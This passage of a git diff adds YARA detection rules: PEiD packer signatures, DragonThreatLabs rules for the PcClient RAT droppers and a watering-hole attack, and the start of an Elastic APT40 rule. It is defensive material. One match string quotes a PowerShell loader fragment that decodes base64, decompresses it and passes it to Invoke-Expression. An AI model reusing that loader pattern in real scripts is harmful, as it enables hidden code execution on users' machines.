+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 4B 0C 41 00 81 E9 01 E3 40 00 8B D5 81 C2 01 E3 40 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 9C 22 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 CC CC CC CC AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03540_yoda_s_Protector_V1_03_3____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.03.3 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03541_yoda_s_Protector_V1_0b____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.0b -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03542_yP_1_0b_by_Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yP 1.0b by Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8}
+    condition:
+        $a
+}
+
+rule PEiD_03543_yzPack_1_0____UsAr_
+{
+    meta:
+        description = "[yzPack 1.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03544_YZPack_1_2____UsAr_
+{
+    meta:
+        description = "[YZPack 1.2 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03545_yzpack_V1_1____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V1.1 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 89 45 04 E8 F3 07 00 00 60 8B 5D 04 8B 73 3C 8B 74 33 78 03 F3 56 8B 76 20 03 F3 33 C9 49 92 41 AD 03 C3 52 33 FF 0F B6 10 38 F2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03546_yzpack_V1_12____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V1.12 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? 0B 01 ?? ?? ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03547_yzpack_V1_12____UsAr_
+{
+    meta:
+        description = "[yzpack V1.12 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03548_yzpack_V2_0____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V2.0 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0 08 AC FF 54 24 08 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 99 BD ?? ?? ?? ?? FF 65 28}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03549_yzpack_V2_0____UsAr_
+{
+    meta:
+        description = "[yzpack V2.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03550_ZCode_Win32_PE_Protector_v1_01_
+{
+    meta:
+        description = "[ZCode Win32/PE Protector v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03551_ZealPack_1_0____Zeal_
+{
+    meta:
+        description = "[ZealPack 1.0 -> Zeal]"
+        ep_only = "true"
+    strings:
+        $a = {C7 45 F4 00 00 40 00 C7 45 F0 ?? ?? ?? ?? 8B 45 F4 05 ?? ?? ?? ?? 89 45 F4 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 F0 7D 22 8B 45 F4 03 45 FC 8A 08 88 4D F8 0F BE 55 F8 83 F2 0F 88 55 F8 8B 45 F4 03 45 FC 8A 4D F8 88 08 EB CD FF 65 F4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03552_ZipWorxSecureEXE_2_5____ZipWORX_Technologies_LLC__h__
+{
+    meta:
+        description = "[ZipWorxSecureEXE 2.5 -> ZipWORX Technologies LLC (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30}
+    condition:
+        $a
+}
+
+rule PEiD_03553_ZipWorxSecureEXE_v2_5____ZipWORX_Technologies_LLC__h__
+{
+    meta:
+        description = "[ZipWorxSecureEXE v2.5 -> ZipWORX Technologies LLC (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30 30 34 2D 32 30 30 37 20 5A 69 70 57 4F 52 58 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 4C 4C 43 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 32 30 30 31 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 0D 0A 00 00 8B 44 24 04 23 05 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74 02 FF E0 8B E5 5D C2 0C 00 80 3D ?? ?? ?? ?? 00 75 13 50 2B C0 50 E8 ?? ?? 00 00 83 C4 04 58 FE 05 ?? ?? ?? ?? ?? 94 9A 8D 91 9A 93 CC CD 00 B8 93 90 9D 9E 93 BE 93 93 90 9C 00 B8 93 90 9D 9E 93 B9 8D 9A 9A 00 B8 9A 8B B2 90 9B 8A 93 9A B7 9E 91 9B 93 9A BE 00 B8 9A 8B B2 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03554_Zortech_C_v2_00_1988__1989_
+{
+    meta:
+        description = "[Zortech C v2.00 1988, 1989]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 8C ?? ?? ?? 26 8B ?? ?? ?? 89 1E ?? ?? 8B D8 2B 1E ?? ?? 89 1E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03555_Zortech_C_v3_0_
+{
+    meta:
+        description = "[Zortech C v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {FA FC B8 ?? ?? ?? 8C C8 8E D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03556_Zortech_C_
+{
+    meta:
+        description = "[Zortech C]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 2E FF ?? ?? ?? FC 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03557_Zurenava_DOS_Extender_v0_45__v0_49_
+{
+    meta:
+        description = "[Zurenava DOS Extender v0.45, v0.49]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 56 FC F3 A5 5F E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03558_______EXE______________________________
+{
+    meta:
+        description = "[Convert Base64 to ASCII wrLDmMK+wqjCuMOzRVhFw47DhMK8w77DgMKmwrDDs8K7w7ogwrvDocOUwrHDl8KowrDDpiAtPiDCs8OCwr7CrcOowro=]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E4 53 56 57 33 C0 89 45 E4 89 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03559_____EXE___________v1_0_________
+{
+    meta:
+        description = "[Convert Base64 to ASCII wr3DjMOWw7dFWEXDjsOEwrzDvsOAwqbCsMOzw4bDtyB2MS4wIC0+IMK9w4zDlsO3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 4B 40 00 68 36 3A 40 00 64 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03560____v1_0____Li_Jianjun_
+{
+    meta:
+        description = "[Convert Base64 to ASCII w4nDviB2MS4wIC0+IExpLUppYW5qdW4=]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03561____________v1_0_________
+{
+    meta:
+        description = "[Convert Base64 to ASCII w47DhMK8w77DgMKmwrDDs8OGw7cgdjEuMCAtPiDDkMOtw5TDhg==]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C 30 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03562_____EXE__________yy66_
+{
+    meta:
+        description = "[Convert Base64 to ASCII w5DDhMOGw6ZFWEXCusOPwrLCosOGw7cgLT4geXk2Ng==]"
+        ep_only = "true"
+    strings:
+        $a = {68 78 18 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03563__________2_2b____Shoooo_
+{
+    meta:
+        description = "[Convert Base64 to ASCII w5zCpcKxwrHDkcK5w4vDtSAyLjJiIC0+IFNob29vbw==]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03564__________2_2b_Anti____xiaohui_
+{
+    meta:
+        description = "[Convert Base64 to ASCII w5zCpcKxwrHDkcK5w4vDtSAyLjJiIEFudGkgLT4geGlhb2h1aQ==]"
+        ep_only = "true"
+    strings:
+        $a = {EB F4 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+    condition:
+        $a at pe.entry_point
+}
+
+
diff --git a/yara-mikesxrs/Dragonthreatlabs/apt_c16_win32_dropper.yar b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win32_dropper.yar
new file mode 100644
index 0000000..38488e0
--- /dev/null
+++ b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win32_dropper.yar
@@ -0,0 +1,18 @@
+rule apt_c16_win32_dropper : Dropper
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "ad17eff26994df824be36db246c8fb6a"
+    description = "APT malware used to drop PcClient RAT"
+    date        = "2015/01/11" 
+    reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+  strings:
+    $mz = {4D 5A}
+    $str1 = "clbcaiq.dll" ascii
+    $str2 = "profapi_104" ascii
+    $str3 = "/ShowWU" ascii
+    $str4 = "Software\\Microsoft\\Windows\\CurrentVersion\\" ascii
+    $str5 = {8A 08 2A CA 32 CA 88 08 40 4E 75 F4 5E}
+  condition:
+    $mz at 0 and all of ($str*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Dragonthreatlabs/apt_c16_win64_dropper.yar b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win64_dropper.yar
new file mode 100644
index 0000000..855edb6
--- /dev/null
+++ b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win64_dropper.yar
@@ -0,0 +1,18 @@
+rule apt_c16_win64_dropper : Dropper
+{
+    meta:
+        author      = "@dragonthreatlab"
+        date        = "2015/01/11" 
+        description = "APT malware used to drop PcClient RAT"
+        reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+
+    strings:
+        $mz = { 4D 5A }
+        $str1 = "clbcaiq.dll" ascii
+        $str2 = "profapi_104" ascii
+        $str3 = "\\Microsoft\\wuauclt\\wuauclt.dat" ascii
+        $str4 = { 0F B6 0A 48 FF C2 80 E9 03 80 F1 03 49 FF C8 88 4A FF 75 EC }
+
+    condition:
+        $mz at 0 and all of ($str*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_disk_pcclient.yar b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_disk_pcclient.yar
new file mode 100644
index 0000000..caa63cb
--- /dev/null
+++ b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_disk_pcclient.yar
@@ -0,0 +1,13 @@
+rule apt_c16_win_disk_pcclient : Disk
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "55f84d88d84c221437cd23cdbc541d2e"
+    description = "Encoded version of pcclient found on disk"
+    date        = "2015/01/11" 
+    reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+  strings:
+    $header = {51 5C 96 06 03 06 06 06 0A 06 06 06 FF FF 06 06 BE 06 06 06 06 06 06 06 46 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 EE 06 06 06 10 1F BC 10 06 BA 0D D1 25 BE 05 52 D1 25 5A 6E 6D 73 26 76 74 6F 67 74 65 71 26 63 65 70 70 6F 7A 26 64 69 26 74 79 70 26 6D 70 26 4A 4F 53 26 71 6F 6A 69 30 11 11 0C 2A 06 06 06 06 06 06 06 73 43 96 1B 37 24 00 4E 37 24 00 4E 37 24 00 4E BA 40 F6 4E 39 24 00 4E 5E 41 FA 4E 33 24 00 4E 5E 41 FC 4E 39 24 00 4E 37 24 FF 4E 0D 24 00 4E FA 31 A3 4E 40 24 00 4E DF 41 F9 4E 36 24 00 4E F6 2A FE 4E 38 24 00 4E DF 41 FC 4E 38 24 00 4E 54 6D 63 6E 37 24 00 4E 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 56 49 06 06 52 05 09 06 5D 87 8C 5A 06 06 06 06 06 06 06 06 E6 06 10 25 0B 05 08 06 06 1C 06 06 06 1A 06 06 06 06 06 06 E5 27 06 06 06 16 06 06 06 36 06 06 06 06 06 16 06 16 06 06 06 04 06 06 0A 06 06 06 06 06 06 06 0A 06 06 06 06 06 06 06 06 76 06 06 06 0A 06 06 06 06 06 06 04 06 06 06 06 06 16 06 06 16 06 06}
+  condition:
+    $header at 0
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_memory_pcclient.yar b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_memory_pcclient.yar
new file mode 100644
index 0000000..7c57881
--- /dev/null
+++ b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_memory_pcclient.yar
@@ -0,0 +1,19 @@
+import "pe"
+
+
+rule apt_c16_win_memory_pcclient : Memory APT 
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "ec532bbe9d0882d403473102e9724557"
+    description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
+    date        = "2015/01/11" 
+    reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+  strings:
+    $str1 = "Kill You" ascii
+    $str2 = "%4d-%02d-%02d %02d:%02d:%02d" ascii
+    $str3 = "%4.2f  KB" ascii
+    $encodefunc = {8A 08 32 CA 02 CA 88 08 40 4E 75 F4}  
+  condition:
+    all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_swisyn.yar b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_swisyn.yar
new file mode 100644
index 0000000..cd7073a
--- /dev/null
+++ b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_swisyn.yar
@@ -0,0 +1,17 @@
+rule apt_c16_win_swisyn : Memory
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "a6a18c846e5179259eba9de238f67e41"
+    description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
+    date        = "2015/01/11" 
+    reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+  strings:
+    $mz = {4D 5A}
+    $str1 = "/ShowWU" ascii
+    $str2 = "IsWow64Process"
+    $str3 = "regsvr32 "
+    $str4 = {8A 11 2A 55 FC 8B 45 08 88 10 8B 4D 08 8A 11 32 55 FC 8B 45 08 88 10}
+  condition:
+    $mz at 0 and all of ($str*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_wateringhole.yar b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_wateringhole.yar
new file mode 100644
index 0000000..7231d29
--- /dev/null
+++ b/yara-mikesxrs/Dragonthreatlabs/apt_c16_win_wateringhole.yar
@@ -0,0 +1,14 @@
+rule apt_c16_win_wateringhole 
+{
+  meta:
+    author = "@dragonthreatlab"
+    description = "Detects code from APT wateringhole"
+    date        = "2015/01/11" 
+    reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+  strings:
+    $str1 = "function runmumaa()"
+    $str2 = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("
+    $str3 = "function MoSaklgEs7(k)"
+  condition:
+    any of ($str*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Dragonthreatlabs/apt_win_mocelpa.yar b/yara-mikesxrs/Dragonthreatlabs/apt_win_mocelpa.yar
new file mode 100644
index 0000000..d4d7f4a
--- /dev/null
+++ b/yara-mikesxrs/Dragonthreatlabs/apt_win_mocelpa.yar
@@ -0,0 +1,11 @@
+ rule apt_win_mocelpa {
+meta:
+     author = "@int0x00"
+     description = "APT malware; Mocelpa, downloader."
+     report = "https://github.com/DragonThreatLabs/IntelReports/blob/master/DTL-06282015-01.pdf"
+strings:
+     $mz = {4D 5A}
+     $ssl_hello = {16 03 01 00 6B 01 00 00 67 03 01 54 B4 C9 7B 4F CF BC 5A 01 EC 4A 73 C8 6D BB C0 86 9F 7B A9 08 6A 60 37 05 81 97 1A C8 9F 45 E5 00 00 18 00 2F 00 35 00 05 00 0A C0 13 C0 14 C0 09 C0 0A 00 32 00 38 00 13 00 04 01 00 00 26 00 00 00 12 00 10 00 00 0D 77 77 77 2E 61 70 70 6C 65 2E 63 6F 6D 00 0A 00 06 00 04 00 17 00 18 00 0B 00 02 01 00}
+condition:
+     ($mz at 0) and ($ssl_hello)
+}
diff --git a/yara-mikesxrs/Dragonthreatlabs/dragonthreatlabs_index.yara b/yara-mikesxrs/Dragonthreatlabs/dragonthreatlabs_index.yara
new file mode 100644
index 0000000..b64eeda
--- /dev/null
+++ b/yara-mikesxrs/Dragonthreatlabs/dragonthreatlabs_index.yara
@@ -0,0 +1,104 @@
+import "pe"
+
+
+rule apt_c16_win_memory_pcclient : Memory APT 
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "ec532bbe9d0882d403473102e9724557"
+    description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
+    date        = "2015/01/11" 
+    reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+  strings:
+    $str1 = "Kill You" ascii
+    $str2 = "%4d-%02d-%02d %02d:%02d:%02d" ascii
+    $str3 = "%4.2f  KB" ascii
+    $encodefunc = {8A 08 32 CA 02 CA 88 08 40 4E 75 F4}  
+  condition:
+    all of them
+}
+
+rule apt_c16_win_disk_pcclient : Disk
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "55f84d88d84c221437cd23cdbc541d2e"
+    description = "Encoded version of pcclient found on disk"
+    date        = "2015/01/11" 
+    reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+  strings:
+    $header = {51 5C 96 06 03 06 06 06 0A 06 06 06 FF FF 06 06 BE 06 06 06 06 06 06 06 46 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 EE 06 06 06 10 1F BC 10 06 BA 0D D1 25 BE 05 52 D1 25 5A 6E 6D 73 26 76 74 6F 67 74 65 71 26 63 65 70 70 6F 7A 26 64 69 26 74 79 70 26 6D 70 26 4A 4F 53 26 71 6F 6A 69 30 11 11 0C 2A 06 06 06 06 06 06 06 73 43 96 1B 37 24 00 4E 37 24 00 4E 37 24 00 4E BA 40 F6 4E 39 24 00 4E 5E 41 FA 4E 33 24 00 4E 5E 41 FC 4E 39 24 00 4E 37 24 FF 4E 0D 24 00 4E FA 31 A3 4E 40 24 00 4E DF 41 F9 4E 36 24 00 4E F6 2A FE 4E 38 24 00 4E DF 41 FC 4E 38 24 00 4E 54 6D 63 6E 37 24 00 4E 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 56 49 06 06 52 05 09 06 5D 87 8C 5A 06 06 06 06 06 06 06 06 E6 06 10 25 0B 05 08 06 06 1C 06 06 06 1A 06 06 06 06 06 06 E5 27 06 06 06 16 06 06 06 36 06 06 06 06 06 16 06 16 06 06 06 04 06 06 0A 06 06 06 06 06 06 06 0A 06 06 06 06 06 06 06 06 76 06 06 06 0A 06 06 06 06 06 06 04 06 06 06 06 06 16 06 06 16 06 06}
+  condition:
+    $header at 0
+}
+
+rule apt_c16_win32_dropper : Dropper
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "ad17eff26994df824be36db246c8fb6a"
+    description = "APT malware used to drop PcClient RAT"
+    date        = "2015/01/11" 
+    reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+  strings:
+    $mz = {4D 5A}
+    $str1 = "clbcaiq.dll" ascii
+    $str2 = "profapi_104" ascii
+    $str3 = "/ShowWU" ascii
+    $str4 = "Software\\Microsoft\\Windows\\CurrentVersion\\" ascii
+    $str5 = {8A 08 2A CA 32 CA 88 08 40 4E 75 F4 5E}
+  condition:
+    $mz at 0 and all of ($str*)
+}
+
+rule apt_c16_win_swisyn : Memory
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "a6a18c846e5179259eba9de238f67e41"
+    description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
+    date        = "2015/01/11" 
+    reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+  strings:
+    $mz = {4D 5A}
+    $str1 = "/ShowWU" ascii
+    $str2 = "IsWow64Process"
+    $str3 = "regsvr32 "
+    $str4 = {8A 11 2A 55 FC 8B 45 08 88 10 8B 4D 08 8A 11 32 55 FC 8B 45 08 88 10}
+  condition:
+    $mz at 0 and all of ($str*)
+}
+
+rule apt_c16_win_wateringhole 
+{
+  meta:
+    author = "@dragonthreatlab"
+    description = "Detects code from APT wateringhole"
+    date        = "2015/01/11" 
+    reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+  strings:
+    $str1 = "function runmumaa()"
+    $str2 = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("
+    $str3 = "function MoSaklgEs7(k)"
+  condition:
+    any of ($str*)
+}
+
+rule apt_c16_win64_dropper : Dropper
+{
+    meta:
+        author      = "@dragonthreatlab"
+        date        = "2015/01/11" 
+        description = "APT malware used to drop PcClient RAT"
+        reference   = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+
+    strings:
+        $mz = { 4D 5A }
+        $str1 = "clbcaiq.dll" ascii
+        $str2 = "profapi_104" ascii
+        $str3 = "\\Microsoft\\wuauclt\\wuauclt.dat" ascii
+        $str4 = { 0F B6 0A 48 FF C2 80 E9 03 80 F1 03 49 FF C8 88 4A FF 75 EC }
+
+    condition:
+        $mz at 0 and all of ($str*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Elastic/APT_APT40_Implant_June2020.yar b/yara-mikesxrs/Elastic/APT_APT40_Implant_June2020.yar
new file mode 100644
index 0000000..b08c934
--- /dev/null
+++ b/yara-mikesxrs/Elastic/APT_APT40_Implant_June2020.yar
@@ -0,0 +1,19 @@
+rule APT_APT40_Implant_June2020 {
+   meta:
+       version = "1.0"
+       author =  "Elastic Security"
+       date_added = "2020-06-19"
+       description = "APT40 second stage implant"
